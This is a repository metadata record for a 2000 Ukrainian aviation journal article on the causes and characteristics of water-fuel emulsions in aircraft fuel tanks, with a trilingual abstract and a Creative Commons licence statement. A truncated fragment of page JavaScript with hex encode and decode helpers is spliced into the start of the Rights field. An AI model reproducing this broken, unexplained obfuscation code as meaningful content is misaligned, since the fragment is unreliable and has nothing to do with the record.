NAU Harvester System
Causes of formation and characteristics of water-fuel emulsions
Наукові журнали Національного Авіаційного Університету
View Archive Info| Field | Value | |
| Title |
Causes of formation and characteristics of water-fuel emulsions
Причины образования и характеристики водно-топливных эмульсий Причини утворення та характеристики водно-паливних емульсій |
|
| Creator |
Максютинський, П. Ф.; Національний авіаційний університет
Козаченко, О. І.; Національний авіаційний університет Маніта, С. Л.; Національний авіаційний університет |
|
| Subject |
—
— UDC 621.43.015.2:611.2 — — УДК 621.43.015.2:611.2 — — УДК 621.43.015.2:611.2 |
|
| Description |
Considered are the causes of formation and characteristics of water-fuel emulsions in fuel tanks of aircrafts - dispersion and stability (time of water emulsion fallout) Determined is distribution of emulsion water in fuel according to microdrops size caused by mechanical dispersion. It is shown that water-fuel emulsion formed by ultrasonic dispersion is similar to that formed by condensation
Рассмотрены причины образования водно-топливных эмульсий в баках воздушных судов и их характеристики - дисперсность и стойкость (продолжительность выпадания эмульсионной воды в отстой). Определено распределение эмульсионной воды в топливе по размерам микрокапель при механическом диспергировании. Показано, что водно-топливная эмульсия, образованная ультразвуковым диспергированием, по характеристикам дисперсности близка к эмульсии конденсационного происхождения Розглянуто причини утворення водно-паливних емульсій в баках повітряних кораблів та їхні характеристики - дисперсність та стійкість (тривалість випадання емульсійної води у відстій). Визначений розподіл емульсійної води в паливі за розмірами мікрокрапель при механічному диспергуванні. Показано, що водно-паливна емульсія, утворена ультразвуковим диспергуванням, за характером дисперсності наближена до емульсії конденсаційного походження |
|
| Publisher |
National Aviation University
|
|
| Contributor |
—
— — |
|
| Date |
2000-09-20
|
|
| Type |
—
— — |
|
| Format |
application/pdf
|
|
| Identifier |
http://jrnl.nau.edu.ua/index.php/visnik/article/view/9745
10.18372/2306-1472.6.9745 |
|
| Source |
Proceedings of the National Aviation University; Том 6, № 1-2 (2000); 188-192
Вестник Национального авиационного университета; Том 6, № 1-2 (2000); 188-192 Вісник Національного Авіаційного Університету; Том 6, № 1-2 (2000); 188-192 |
|
| Language |
uk
|
|
| Rights |
// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "jrnl.nau.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e
Автори, які публікуються у цьому журналі, погоджуються з такими умовами:Автори залишають за собою право на авторство своєї роботи та передають журналу право першої публікації цієї роботи на умовах ліцензії Creative Commons Attribution License, котра дозволяє іншим особам вільно розповсюджувати опубліковану роботу з обов'язковим посиланням на авторів оригінальної роботи та першу публікацію роботи у цьому журналі.Автори мають право укладати самостійні додаткові угоди щодо неексклюзивного розповсюдження роботи у тому вигляді, в якому вона була опублікована цим журналом (наприклад, розміщувати роботу в електронному сховищі установи або публікувати у складі монографії), за умови збереження посилання на першу публікацію роботи у цьому журналі.Політика журналу дозволяє і заохочує розміщення авторами в мережі Інтернет (наприклад, у сховищах установ або на особистих веб-сайтах) рукопису роботи, як до подання цього рукопису до редакції, так і під час його редакційного опрацювання, оскільки це сприяє виникненню продуктивної наукової дискусії та позитивно позначається на оперативності та динаміці цитування опублікованої роботи (див. The Effect of Open Access). |
|